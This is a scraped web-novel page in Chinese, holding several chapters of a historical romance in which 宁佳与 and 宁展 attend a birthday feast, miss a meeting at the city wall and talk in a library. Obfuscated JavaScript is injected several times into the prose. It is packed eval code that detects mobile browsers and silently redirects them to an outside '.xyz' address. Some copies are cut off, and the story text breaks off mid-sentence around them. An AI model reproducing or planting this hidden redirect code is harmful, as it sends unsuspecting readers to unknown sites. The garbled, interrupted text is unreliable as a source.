“是吗？我活了二十一年，没读过话本这类奇趣丰富的书，很有意思啊！里头的人物若是能换个名姓，”景以承捧起边上的书卷，爱不释手，“就更好了。” 几人沉默。 景以承不明就里，蓦地双手捧茶，起身敬道：“言归正传！在此，我祝愿小与姑娘，岁有吉日辰良，时拥锦瑟华年！” “承景公子吉言。”宁佳与执酒站起，与景以承举杯同饮。 柳如殷恰要离座，被宁佳与轻轻按住小臂。她了然坐定，莞尔把盏，道：“从今诸事顺、物候新，多喜乐、久安康。” “如此炊金美馔。”宁佳与“叮”一声碰了下柳如殷的杯盏，笑道，“柳姐姐辛苦。” 以宁隔桌相敬，颔首道：“与姑娘。庆佳期，祝延长。” “多谢以宁兄弟。”宁佳与昂首饮尽。 她酒力泛泛，多亏从前与白歌不时顺走同僚的露酒作饮，故不至于不胜杯杓。 顺，不是因着买不起，他们也并非好酒之人，权因那些个议论白歌的碎嘴子常爱往暗桩藏酒水。这般行事，纯粹是为报复。 听雪固然明令禁止阁中饮酒取乐，可此法实在绝妙。 既不必烦劳师父下山替白歌主持公道，又吓得那些长舌汉唯恐违例藏酒之事败露，连着抓了六、七回贼未果却不敢声张。白歌出了闷气，宁佳与得了为民除害的痛快。 攒了经验，宁佳与十分清楚自己几盏头晕、几盅摔得满脸黄泥，今日便是高兴也不贪杯。 倒是宁展，不知猛灌自己多少。菜过五味，没有倒头就睡，但不剩几分清醒了，单他一人忘了道贺。 他端着深入骨髓的君子之仪，只是脸颊微红，眼神则涣散得很，连以宁都不让近身。 宁佳与始终位于宁展左侧，正是眼下除以宁之外距宁展最近的人。以宁向她鞠躬作揖，如宁展撑不住要倒，拜托她扶上一把。 可宁展会轻易倒下吗？ 至少宁佳与想象不到。 她不知能为醉酒的宁展做什么，也就偶尔斟上半盏清茶，留心看顾着。而宁展紧握杯盏不作声，好歹乐意象征性抿一口茶。 席间如此往复，宁佳与数不清景以承拉着以宁和柳如殷讲了几个故事，或是她给宁展添了几次茶。 直至窗外倏尔亮起数道光焰，四面八方群声炸响，不断飞升的火花逐渐点燃夜幕，望去恍如白昼。 宁展独坐靠椅，其余几人纷纷离席探出窗口。 竟是...... 烟火？ 在此于七州而言稀松平常的日子，步溪放了足以照耀整座王城的烟火！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862131|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 步溪君王一贯遵循祖制，哪怕是普天同贺的七州大典，稍显铺张的绝不布置。对世代不出王城的臣民，这是百年不遇的奇观，当得起良宵美景、风月无边，自使万人空巷。 宁佳与从二层往下看，街边，孩群高举竹蜻蜓跑着，赏景的恩爱夫妻依偎着，满目沧桑的白头老叟坐着。 她心生讶然。 不是说，步溪尽是青春永驻、长命百岁的奇人吗？ 她双手把住窗沿，上身悬空楼外，试图凭肉眼察清那白头老叟会是怎样的容貌和情态。 许是天边闪烁的光太过耀眼，抑或短暂暗下的夜尤甚朦胧，她凝视良久，无法解惑。 宁佳与可以确信的是，老者高高昂起的头和目光没有丁点儿动摇，他对今夜的光景有着绝对的向往。 那向往，似某种能够横贯百年、催白两鬓的等待，凝结无数不朽不灭的期许。 不止他，此刻整个步溪或动或静、或老或少的臣民，俱如是。 其实雅间并不适宜观景，还不比楼下熙攘的长街来得视野开阔。 幸运的是，东、西、南、北各方位皆有格外灿烂的光焰争相盛放。宁佳与攀住窗框由近及远地掠视这座城，依旧瞧得见大部分的月影缤纷、火树银花。 不完整，但一定绮丽。 今日，宁佳与和步溪城便是相识十一年整的故交了。逢时过节，她都老老实实陪在师父身边，早已不知上回看到这聚众尽欢的景象该有多兴奋。 沾这片刻的光，她与楼上、楼下笑作一团，放怀体会那份久违的喜悦，也算实现了夙愿之一。 丝缕星火融入月夜，宁佳与忽而惊醒，抓起身旁的柳如殷就问。 “现在什么时辰了？” 柳如殷生怕宁佳与一个不稳跌出窗外，赶忙回握。她惊魂未定，却不假思索道：“亥时，当是亥时了。” 亥时？！ 宁佳与十一年里如何放荡不羁，终究不会自食其言，赴约更是守时。父母鲜少对她说教，父亲讲过的道理，她一直没能忘——失信于人，志士不为，智者不为。 即失信于人不仅德行有亏，亦是愚蠢。 她如今，不是失约又是什么？ 宁佳与拨开柳如殷，拔腿往外走，被端坐席间的宁展冷不丁钳住手腕。宁展与适才无肾分别，双眸迷蒙如旧，手上的却攥得人吃痛。 明晰入耳的字句也在告诉宁佳与，他现在清醒无比。 “你去哪。” 74. 意义 宁佳与没听出疑问的意思，与其说宁展是打听她去处，不如说是要拦她脚步。 “我——” 她言语未尽，宁展醉态已褪，眼神斜出凌厉的逐客之意。那目光越过宁佳与的肩，直抵以宁眉心。 以宁应时得令，麻利收起自己准备的长剑及景以承的狼毫，领着其余二人离开雅间，关严门扉。 景以承和柳如殷虽不明所以，也因着宁展略显骇人的架势没敢吭声，随以宁返回乘舆等候。 “好了。”宁展口吻轻闲，状态却不松懈，“请继续。” 宁佳与焦急不假，可按理说，步千弈是前东家，宁展是日后同舟共济的伙伴，基于听雪与青竹的关系，这会儿该坦诚些。 “我与步世子有约，戌正初刻，城墙楼台。亥时了，我得尽快赶过去。” “不能去。” 宁展毫无犹豫，俨如心里料定了宁佳与的答案，添补的缘由更是令人无法反驳。 “你明知他们有多想杀你，还要入这显而易见的圈套？” 印象中，宁展并非是第一次反对她，却没有哪次真正阻止了她行动。 从前反对，或多或少带着宁展的私心。依宁佳与看，宁展会因为涉及自身的利益出言干预身边人，而不会做到足以直截左右局势走向的地步。 譬如待柳如殷，宁展原不赞成以宁盲目信任这位来历可疑的女子，终究没拒绝以宁捎上柳如殷。 然此番凭宁佳与如何审度宁展言行，皆未从中找到半分私欲，好像全身心站在她的处境作决断。是以这次反对，宁展格外义正词严。 “想杀我的是步长微。”宁佳与如实回应着宁展所谓的“他们”。 “小与，你就如此相信步千弈情愿跟他的亲生父亲反目？” 宁展据理力争，以致忘了手里仍死死攥着宁佳与。 “步长微那般居心叵测之人，面上越是仁慈，背地只会倍加歹毒。若步千弈当真和步长微反着来，你信么，他也是死路一条。” 宁佳与深知宁展不是危言耸听，且透过言辞恳切，她几乎快要看清那些被宁展视为步长微同类的人有着何等仁善之貌了。 “你的担心，也是我的顾虑。”宁佳与道，“但我从未奢望世子殿下为我与至亲敌对。此行赴约，我想劝他，日后，至少不要成为步长微作恶时刺出的尖刀。” “你要他袖手旁观？” 宁展不敢苟同。 “无论以你们二人的交情，还是以他与步长微的父子关系，又或是他骨子里的血性，步千弈绝不可能袖手旁观。他总会有所行动，一切不过是时间问题。” 宁展言之凿凿，放佛匆促几面就把先前与自己形同陌路的步溪世子观得通彻，好比与步千弈相交有年者是他才对。 冷冰冰的事实被掰开揉碎摆了出来，其实宁佳与何尝不明白？ 她是真的想看师父长命百岁，也是真想化去梦魇浇灌的执念。 天下英雄和海晏河清，她心往神驰。 见宁佳与沉吟，宁展终于意识到动作逾矩，遂迟滞松了手，起身道：“抱歉，我不是有意为之。” 宁佳与莫名自觉贪心，无法轻易放下许多，致使自己屡屡陷入僵局进退维谷。腕骨的疼淡了，她对宁展的抱歉仅是摇头。 拉住宁佳与的瞬间，宁展就瞧得出那貌似坚定的步伐异常纠结，故尽力劝止。但转念一想，他之所以热切希望与其并肩同行，不正是为宁佳与认定目标便不会轻言退缩的韧劲吗？ “走罢，城墙楼台。”宁展拿起佩剑，“我陪你一起。” 宁佳与左腕被圈出浅红，右手则不知何时稳稳握着银骨扇。 今日谁来当说客，她都要赴约。至于宁展最终回心转意的支持，宁佳与不算意外。 毕竟，慈幼庄那晚叙谈不是她哄师父宽畅的漂亮话。她所诉，是一份经得起切肤之痛和霜凋夏绿洗礼的决心。 她与宁展，的确志同道合。 青竹乘舆内，景以承抱着话本，破天荒地半个字也没看进去。他长吁短叹，兼之脸上红愁绿惨，活似自己口中等不到郎君安然归家的娘子。 身为近卫，只能眼睁睁看自家殿下和宁佳与以身涉险，本就烦闷。边上的书袋子又哀天怨地吵得不行，以宁压抑久矣的不满突飞猛涨，他忍无可忍道：“景二殿下，您为何就是不能消停些？” 景以承没心眼，非但不觉这语气有所冒犯，反以为是以宁独特的关切方式。 他岂能让人好意落空？ “要我说，楚珂姑娘最后一次化形，”景以承收好话本，认真道，“就是动心示爱。” 其余两人哪料景以承还揪着饭桌闲话不放？偏偏以宁和柳如殷压根没见过楚珂最后一次化形，敷衍都不知从何编起。 柳如殷笑笑作罢。 谁先挑的话茬，便会抛回谁身上。 早知如此，他作甚招惹这一根筋？以宁暗自腹诽。 看以宁分明有所思却噤声不答，景以承举着话本靠近，欲用完全不存在的威慑力迫使其开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872224|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 以宁的拳头当即抵住景以承脑门，将人原路推了回去。景以承没有怨言，甚至想撞倒南墙，以宁无奈应付：“哦。为何。” 他既不解卫子昀明知故犯的怜悯，更不解楚珂害人害己的胡搅蛮缠，压根不想知道为何。 景以承则端正上身，来劲道：“因为那是发自内心，且情难自抑的悸动啊。显形落羽，除了向爱人表达情愫，也是种确认自己心意的法子！” “然后呢？有什么意义。”以宁面不改色。 景以承愣怔片刻，忆起久远的教诲，笑道：“一位名师有言——这天底下，不是做什么都非要有意义的。为你认定值得的事，尽管赴汤蹈火。” 如将动心示爱分开看，即是两个词。 显形抒情也好，落羽觉悟也罢，不管心上人明不明白这份情，或能否亲眼目睹，心动了，就是动了，无所谓意义。 “哪位名师？我怎的没听过这道理。” 以宁虽不喜文墨，好歹是宁展唯一一个伴读。宁展自幼得名家指点，倘景以承说的这号人物实际存在，他理当早有耳闻。 景以承摩挲着狼毫笔端的刻印，再叹：“有是有，但驾鹤西游了。其人名姓，在七州，比琛惠帝的丰功伟业还教人避之不及。” 狂风卷起窗幔，连掀话本数页。 天人祥和的景象转瞬消逝，愁云惨雾覆压全城。 楼台空无一影，独苍翠旌旗猎猎作响，萧森压得人喘不过气。 “步千弈走了？”宁展环顾，并未发现他和宁佳与以外的人，驻防守卫亦不见踪迹。 “世子殿下不知我会不会来......” 宁佳与自城墙往下望，恍惚还能看到步千弈每每撑着葱白凉伞迎她归家。 “没道理一直等下去。” “你不过迟来半个时辰，这点儿耐心都拿不出，他好意思......”宁展声音渐轻，最后干脆闭了嘴。 “是我失约在先。”宁佳与心中悔不该贪看一时美景，惘然道，“回去罢。” 宁展不料步千弈走得那般利落，也没留个传话的人，同样未想到适才坚决要赴约的宁佳与不肯多待一时半刻。 “这就......回去了？”宁展纳闷，“我以为你会等上一阵子，或是去听雪阁寻他。” “世子殿下表里如一。不辞而别，代表他现下不想见我了。更何况。” 宁佳与牵动唇角，昂首时抬起了手掌，像要接住什么。 “步溪，要落雨了。” 75. 阴晴 城墙楼台虽不似危机四伏，到底是步千弈的地盘，宁展无时无刻不体会到那饿狼扑食般的杀意，否则今夜无须特地借李施的茶楼设宴。 听雪阁的人可以监视他，青竹隐士照样能集得准信。托那几个碎嘴子的福，真让青竹阁带回不少关于李施和步千弈的消息。 纵如宁佳与所言，李施和步千弈之间没有值得让人挑拨的关系，然宁展观听雪隐士议论李主事才不配位，以及步千弈跪请步长微应允李施官复原职，不难看出步千弈格外敬重李施。 故而在步溪，李施的茶楼甚至比青竹暗桩更方便避开步千弈。 宁佳与愿意立刻离开此处，宁展自然庆幸，即使略有疑惑，也不再多言。他警惕地压握剑柄，和宁佳与并肩下城楼。 宁佳与明知楼台空荡荡，还是不禁回身凝望。 她没找到那抹熟悉的碧色，模糊不清的话却依稀萦绕耳畔。 宁佳与心道，兴许白天所言，便是“朱颜长似。头上花枝，年年岁岁[1]”罢。但她从始至终就不是步溪人，如何能像青哥哥盼的那样花开不败、永远美好呢...... 走近乘舆，犹听得些许言笑。她与宁展才上车，其余三人好比嘴巴封了浆糊，一副欲言又止的憋闷样。 不知为何，景以承先前看宁展因卫子昀之事大发雷霆，尚有搭上几句话的胆子。今夜宁展不过一眼，他大气都不敢出，遑论开口说话了。 柳如殷尤甚。 初见宁展，她就清楚此人非是传闻中那般好相与的。人家破例捎她同行，感恩戴德是其次，关键得谨言慎行，以免平添麻烦。 以宁起初还想问城楼是何状况，但见宁展和宁佳与无恙，猜料自己不该多嘴了。 其实宁展心情没有三人想的糟糕，反之，较醉酒时好转许多。 他陪着宁佳与上楼，一路瞧坠于其鬓边闪闪发光的赤珠，回顾今夜勉强算圆满的生辰宴，兼之宁佳与佩上竹簪的笑颜......他何苦自寻烦恼？ 乘舆到了宅邸门前，宁展越发难掩快悦。三人落车，他依然坐在宁佳与对面，纹丝不动。 宁佳与看他迟迟未起身，倒不急回府，如常偏头询问：“怎么了？” “小与，要和我去个地方吗？” 夏夜阵雨恰同宁展呢喃含笑的提议，从天而降，且教人没法轻易推却。 宁佳与欲三思后行，奈何累累如珠的雨滴将舆顶愈敲愈响，老天都在催她作答。景以承候在檐下，眼瞧雨势变猛，鼓足气呼喊：“元兄——你们别忙下来，阿宁回屋取伞了！” 雨帘劈天直落，把忽近忽远的人声挡在舆外，为二人隔出这方绝对沉浸的小天地，宁佳与不得不直面宁展。 那双眸，像幽谷泻飞泉，澎湃而碧澄。转眼，又似月照雨花石，光洁而朗然。 她情不自禁点头。 “好。” 宁展闻言满面生花，着手轻敲车框，对外吩咐：“走！” 青竹隐士得令扬绳。 整段路程极短，俯仰之间。宁佳与甚至来不及问宁展这是往哪儿去，声振屋瓦的豪雨便同星驰电走的马车一并停了。 宁佳与迫不及待起身，宁展却抬手横在她身前，温和道：“不急。” 直至外边传来一声极轻的“公子”，宁展掀开帷帘，接来木柄，先行落车。他立于马凳旁，向宁佳与伸出臂腕。 宁佳与将将探出乘舆，宁展撑着把红伞。她发现伞与寻芳楼前摔坏的那把近乎一模一样，而宁展身后的宅院，竟是她先前仓促来过一趟的青竹暗桩？ 隐士将二人引进大门，自觉撤离。 宁佳与全神贯注地打量，连落车时顺势搭扶宁展的手也忘了收回。 宁展同样不认为此举有不妥之处，一手执伞，一手悬空，心安理得领着人往院内去，只是宁佳与掌间的绑带偶尔搔得他臂腕微痒。 盛夏的雨总是匆促，二人步入庭院，业已云收雨散。 廊顶水滴沿长脊跌下红伞，宁佳与这才明白宁展缘何晴夜撑伞。若不然，今日柳如殷为她上的妆怕要一塌糊涂了。 宁佳与忽然很想看看他的脸，于是不假思索侧首，却蓦然对上那束不知追随她多久的目光。 目光中，没有虎视眈眈的揣度，唯有猝不及防生的慌乱。二人相对弹开，足以证明这心慌是相互的。 两只受惊的鹌鹑左顾右视，杜口无言。 或出于默契，抑或心下双双织起了纷乱如麻的蛛网，谁都没打这圆场，木然往前走。以致宁展的脚尖即将撞上门扉，宁佳与终于想起提醒宁展收伞。 “屋檐下打伞，”她抬掌比了比宁展的个头，“长不高。” 岂料宁展竟举着伞转向她，居高临下地打趣：“可我已经比很多人都高了，这如何是好？” 此话不错，便是在彪形大汉随处可见的步溪，拢共没几人的个头能够超过宁展，与他难分胜负者譬如步千弈。要论比他高大的人，熊霆一个，早年的步长微也算一个。 宁佳与分明先发制人，不防反给宁展寻了洋洋得意的由头 她从小就不爱认输。 “元公子悠着点显摆，再说大声些，教满天神佛听了去，且得——” 宁佳与伸手握上杆子，稍往下一拉，伞骨压住了宁展头顶的藏蓝发带。 “收回成命呢。” 领略过宁佳与的疏离，宁展发觉自己还是更习惯和上蹿下跳、言高语底的小狐狸打交道。现下宁佳与同他拌嘴，他是乐在其中。 宁展暗自计划做个适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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放楚珂走那个晚上，楚珂将所知的制药步骤依次写下，交与他。也是在那个不眠夜，宁展才对传闻阴毒可怖的步溪巫术有了些许实感。 宁佳与笑意不减，奇道：“展凌君就如此肯定，楚珂姑娘没骗你？” 宁展被这话噎得平复三成，极不自然地松开了宁佳与的手，道：“我给她一条生路，她有什么不满？何必拿这种事骗我。” 宁佳与垂眼揉捏手腕。 “可能她从始至终想要的，就不是那条一人独往的生路。” 76. 圆缺 “倘若楚珂的初衷是自保出狱，她交代些和乡民们大差不差的供词便是了，而无须按照卫子昀的话术去说。”宁佳与道，“这是最妥当的法子。” 宁展内心再认同宁佳与，单看制药这事也得鸡蛋里挑骨头。 “楚珂又不知其他乡民向大理寺交代了什么。” 宁佳与左手不着痕迹收到身后，耐心道：“我的意思是，所谓‘囚禁’‘虐待’‘七位公子有心搭救’尽是卫子昀一面之辞，大理寺稍查即可发现谬误百出。楚珂幼年尚凭头脑幸免于难，方今不会不明白哪种说法更能摆脱自身嫌疑。” “不会不明白？那你真是高看她了。”宁展冷笑道，“楚珂这些天估计满脑子都是卫子昀临走前的嘱咐，哪里静得下心思虑旁的。” 饶是宁展亲手放了楚珂，又派青竹阁暗中掩护楚珂偷渡出城，依然因着卫子昀对此人心存芥蒂。 “毕竟朝夕相处七年之久，卫子昀太了解楚珂，深谙楚珂入狱后那般忧心如焚。他的话，就是事先为楚珂备的苦口良药。我猜。” 宁佳与沉吟少顷。 “楚珂之所以非卫子昀编造的供词不提，不仅是出于信任，更为这药外边裹着层两全其美的糖衣——卫子昀是不是同她说，照这样做能救他们二人的命？” 听宁佳与顺下来，宁展几乎要怀疑那夜到底是他独自劫的狱，还是宁佳与也悄声跟着去了。俨如时刻藏在他背后静观默察的影，没有他知悉而宁佳与不解之事。 “是。她以为和卫子昀撇清干系，斗杀案，斗的就是农夫与世家子间的私仇，不必牵扯墨川与步溪多年来的矛盾。后续未升至两州对簿的公堂，她亦不曾招惹墨川大家注意，而我这个嘉宁少君。” 宁展退后半步，垂首道。 “总该有办法救卫子昀。如此，才算遂了楚珂的愿。” 这是个美好终局。 美好到楚珂毫无顾忌想去相信，美好到她一遍遍复述卫子昀的话。哪怕把为她栽树、修羽、建游园的哥哥指成囚禁、虐待、打击报复的疯子，绝不改口。 她自始至终盼的，是和卫子昀一起活着走出大牢。 宁展瞧楚珂傻子似的对那层糖衣信以为真时，可谓破口大骂。但他静下心也不禁假设，能够永远活在黄粱梦里不醒，有什么不好？ 不过是辛勤造梦的人离开了，才显得选择滞留愚笨。甘愿做傻子的人，原比谁都幸福。 宁展在楚珂眼中总该有办法，可他早就做不成这样简单的美梦了。 “大理寺不是傻子，卫子昀也不是......”宁佳与忽然瞥见宁展的脸隐入大片黯淡，似随时消融于阴影，径自收了声。 宁展则接着宁佳与落地的话音抬起头，通身任立柜遮在昏暗中，视线却被轻轻牵至宁佳与盛满月光的眉眼。 “我没事，小与。你说罢。” “兴许。”宁佳与目不转睛回望，担心他真的消失无踪，“兴许卫子昀提刀那一刻，就没想过活着回来。” 宁展唇齿翕张，二人相顾渊默。 宁佳与几欲伸手探宁展的额头之际，他终于颔首喃喃：“我最后一次与卫子昀说话，还恼他不分轻重，怨他冲冠一怒为红颜。小与，你看我这个主公，是不是做得太失败了？” “是啊，好失败。” 宁佳与放下手，柔声细语，却不像宽慰。 “你不是嫌自己脚程慢、来得晚，没赶在卫子昀出手前到达步溪；就是气自己力不能及、功败垂成，既坐不稳元储之位，还保不住下属的命。偶尔怨卫子昀几回又怎样呢？横竖，下属不敢怪罪主公。” 这激将法逗得宁展想笑，又实在笑不出来，勉强咧嘴以示无碍。 “别笑了。”宁佳与摆摆手，“比景安宫门前承仁君笑得难看。” 当初劝景以承不要这样笑的还是宁展自己，彼时如何逆料，他纵横朝野，扮好些年的恺悌君子，也会被人轻易看穿。 他尽力提了唇角，莫名坚持道：“真的......那么难看吗？” 宁佳与先是不答，拉着宁展互换位置，任无拘无束的月华照到宁展身上，仔细打量眼前暴露的稚气。 好在这稚气只在他不做嘉宁少君时浅浅浮现。 宁佳与抚平宁展的眉，煞有介事摇头，认真道：“不难看，殿下自小生得一副好皮囊，肤如羊脂白玉，眸含春池潭水，为人更是谦谦君子。谁敢说难看？” 闻言，宁展啼笑皆非：“你这话，听着好生耳熟。但我记得，原句不是这么说的。” - “在下听闻，这青竹暗阁的掌阁生了副好皮囊，肤如羊脂白玉，眸含春池潭水，为人更是一等一的君子，小女子自然心生倾慕。” - 原句怎么说的，没人比宁佳与清楚。她却神气十足，反过来问宁展：“是么？那是如何说的？” 宁展习惯了宁佳与无赖耍宝，看她嬉皮笑脸。何况宁佳与千方百计，是想将他一并带往有光的地方。 在这里，他能触到宁佳与眼中明亮的星月，借着光审视内心，审视良多水面早已露出的真相。 “卫子昀的遗书没有提及楚珂，他......本不是冲冠为红颜的人。”宁展短叹道，“蛰伏多年，他知道步溪苦于墨川肆无忌惮的围猎。他不做擿奸发伏的出头鸟，就是我来做，换那块足矣撼动三大州之一的敬令如期而至。他从来不是莽夫。” “卫公子把一切都算计得极好，的确不是冲动之人。” 宁佳与不免感慨。 “替自己算好契机，替你算好前路，甚至把楚珂都算入博弈。不给陈年旧伤留任何牵绊，长好新翼鸟儿的才能真正往心之所向飞。他利用楚珂放不下他的感情，又还与楚珂自由。这结局，应如他所想了。” 宁展开始还不明白卫子昀何以称得上是算计楚珂，谈及“利用”，不由再攒眉。他不甚赞成这看法，尽管宁佳与所言非是无根无据。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894927|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他们二人，即使不算深情厚意，也不至于添上‘算计’‘利用’这样的字眼。”宁展低声自语。 然双双挤在狭窄的立柜间，言辞多么模糊亦能听得八九不离十。 宁展把卫、楚的七年情谊视若闹剧一场，现下却肯为闹剧申辩，宁佳与有些意外。 “首先呢，算计和利用并非只有贬义。其次，他们与这两个词的关系，就像他们曾经对彼此的态度——” 她略往后靠，与宁展拉开距离。 “可说近、说远、论好歹，从何看待，总归不会是风马牛不相及。” 简言之，卫子昀与楚珂的关系或复杂或简明，其中必然包含着算计与利用。 不是宁佳与的推论难懂，是宁展始终觉得这些词落在卫、楚二人身上过于刺耳。 他想为这段浊世里腹背受敌的缘分说些什么，不经意，竟端得像嘉宁那群为顾体面而咬文嚼字的言官。 “非得叫算计和利用？换作考量与着想，不同样合情合理吗？” 宁佳与掩口失笑：“元公子若是去撰写话本，一定赚得盆满钵满。” “......真的？”宁展清楚宁佳与又在拿他玩笑，却问得认真。 “当然。如今的世道，大家光是谋生计就尝尽千难百苦了，话本故事比之更苦，还剩几个人愿意读呢？因此要元公子的笔墨加以装饰，做一桌好味道。” “但我，并不是写话本的。”宁展正经道，仿若真在用心斟酌大家能否尝到自己笔下的故事。 “是了，元公子不写话本，卫、楚二人亦不唱戏词。他们的故事，不必美化。”宁佳与道，“否认算计与利用存在，反倒拂了这段情谊的珍贵之处。” 宁展和宁佳与行事有别，见解则鲜少大相径庭。 他私以为美化是对二人情谊的呵护，想不通这刺耳的字眼如何体现情谊之珍贵。 “起初，是楚珂利用卫子昀的恻隐之心，最后也是楚珂非卫子昀不信；最后，是卫子昀算计楚珂的朝思暮念，可起初也是卫子昀冒死收留楚珂。彼此算计、利用，是他们自己都承认的。” 宁佳与抬眼便是宁展大起大落的神色，险些忘了，她面前不是传闻伪善狠毒的嘉宁少君，措辞逐渐委婉。 “他们固然有真诚相待的瞬间，奈何时机不对。万幸的是，情意不曾错付，若合并一处，即为圆满；失之交臂般的扑空，则是缺憾。阴雨作衬，显晴空难得。七年不是他们的全部，却把悲欢离合皆走了一遭。种种过往，就是珍贵。” 虽说宁展对宁佳与千伶百俐印象深刻，每每耳闻目睹，仍不住为之屏息。如宁佳与当不起少年人的佼佼者，他不知这四周谁可以称得上聪明。 在他眼里，农夫斗杀案此刻才算完整审结。 一个匹马当先的骁悍将，一个至情至性的硬骨头。忠勇的刀刃遇见了热烈的羽翼，修剪出令人翘首的亮丽弧线。 不怨不悔，不论错对，只是有缘无份。 77. 招数 “公子？” 宁佳与引手挥过宁展眼前，像在唤醒被她絮絮叨叨催眠的鹌鹑。 宁展醒过神，发自内心笑了，还要在这拳头大的地界抚掌称许：“小与姑娘所言极是。若非你点拨，往后我怕是要好心办坏事了。” “有感而发，谈不上点拨。”宁佳与稍作颔首，似笑非笑地问：“不想自视百般狠毒的展凌君，实是个愿为陌生人仗义执言的侠义心肠？元......公子？” 宁展神回来了，又背着宁佳与中了邪——凭她唤，宁展犹是适才那副感慨颇多的模样。好比她说什么，宁展都只会拍手叫绝。 然则宁佳与心里有数，对于卫、楚二人，她是旁观者清。旁人的故事，她勉强可以读得有板有眼，若落到自己身上，唯“土遁”最好使。 所谓侠义心肠另有深意，可宁展显然没听入耳，宁元祯更不知去了哪里。 宁佳与无奈地靠上立柜，揶揄道：“即便在下才气过人，也还请展凌君莫如此盲目钦佩，要折我寿的——” 话音未完，宁展敛了喜容，宁佳与亦然反应过来。 宁展不言语，身形愈近，八尺的黑影将她完全笼罩。 宁佳与被迫后仰，满心盘算如何土遁，岂料右脚一起便不得已踢上身后立柜。她再想落地，左腿业已随着缓缓倾斜的立柜向后倒去。 得亏宁展不是真中了邪，眼疾手快将人扯回两步，却无暇顾及宁佳与一头撞在他胸前。他双手越过宁佳与的肩，竭力压回稍倾的书架。 两人赶不上歇气，立柜码得齐齐整整的文籍霎时如天女散花狂撒！ 宁佳与不确定额头磕到了什么坚硬无比的东西，总之疼得不行。她抬手要揉，即任面前藏蓝的软袍捂了个睁眼瞎，脑袋随之埋入昏暗，上身难以活动。 接连不断的哗啦声耳畔翻飞，其间夹杂无数下痛击的闷响，高低参差，轻重错落。 直至响动渐止，宁佳与方才惊醒。 她...... 正被宁展牢牢拥在怀里？ 未待宁佳与原地弹起，宁展立刻松开了这接触甚密的环抱。 宁展两手握住宁佳与左右肩，让人退去半步，盯着她乍青乍红的脸色关切：“有没有事？被砸到了吗？哪里疼？你倒是——倒是说句话！” “我......”宁佳与分明额头很疼，抬手却不自觉捏上了耳垂，“不疼......” “你还要哄我？”宁展气得厉害，手上力度加重不少。 他几乎是在书籍落下的瞬间就护住了宁佳与，但没法确定砸向宁佳与的每一本书是否都被成功挡下。尤其观宁佳与的状态，明摆着口是心非。 宁展喘息不定，首先平复语调，绵言慢声：“小与，同我说一次实话，究竟哪儿疼？头？腰背？还是腿？” 宁佳与心绪就像这摊了满地的文籍，横七竖八，杂乱无章。 手从耳边移至额前，她盖住微微肿起的伤，却答：“肩。能不能轻一些？” “——哦，抱歉，实在抱歉。我......” 宁展烫手般撤回两臂，复又重新抬起护在宁佳与头顶，侧首环顾四周。 “我们先出去，这地方的确窄得危险。” “好。”宁佳与背过身，手指暗自摸索额头的伤，边走边踮脚跃过途中狼藉。 她在前面垂首跳得轻盈，殊不知每跳一步，宁展的心恨不得跟着跳出膛来，唯恐她再碰到什么。 远离满屋立柜，宁佳与就近入座，左手抵上前额，掌心恰好将那点红肿挡严实。 一瞥见宁展视线由书架转向她，宁佳与赶紧佯作闭目养神，免得给宁展追问“折寿”或是“疼”的时机。 宁展隔着张四方茶几与她相对而坐，以为这是冷不丁吓呆了，拎起竹提梁壶。 宁佳与听得茶汤倒入杯中的动静，却没嗅到丁点儿茶香。 杯盏递至她面前，宁展和声道：“凉水可以么？罢了，我叫人烧些热汤来......你喜好哪种汤？” 宁佳与谨慎眯眼，瞧宁展神意如常才睁眼，接过杯盏打哈哈：“不必麻烦，这就挺好。” 她昂首饮尽，发现杯中果真是寡淡无味的凉水，而非宁展顺嘴一说。 青竹阁明知宁展人在步溪，且阁中隐士不必问就连他落车要哪把油伞都知道，暗桩怎会不备甜汤、不备茶，随随便便搁了壶白水？ 除非，宁佳与没想错。 无论是会客堂和步千弈争茶水的宁展，抑或素日将梅子汤当家常饭的宁展，对茶、对甜汤，压根无甚执念。 不备茶、汤事小，为何藏书阁闹出那样大的动静，整个暗桩竟无人前来探查？宁佳与原以为，院里隐士若非呼呼大睡，便是遭人放倒了。宁展却有闲心问她喜好哪种汤......她大抵是多虑了。 至此，她不仅维持着左手扶额、右手执杯的姿势，还愁眉锁眼，耳不旁听。 宁展起身后呶呶不休讲了好半晌话，这会儿灯也点上四五盏，依旧未收到回音。 